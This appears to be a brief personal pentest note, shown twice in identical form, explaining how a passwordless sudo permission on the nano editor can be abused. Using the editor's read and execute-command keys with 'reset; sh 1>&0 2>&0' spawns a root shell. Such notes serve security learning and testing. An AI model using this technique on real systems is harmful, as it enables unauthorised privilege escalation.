Exploiting Nano
- author:: Nathan Acks
- date:: 2022-04-21
If nano
is allowed to be run via sudo
without a password, you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!
If nano
is allowed to be run via sudo
without a password, you can use the following to break out into a root shell:
CTRL+R
(read file)CTRL+X
(execute file)reset; sh 1>&0 2>&0
Boom!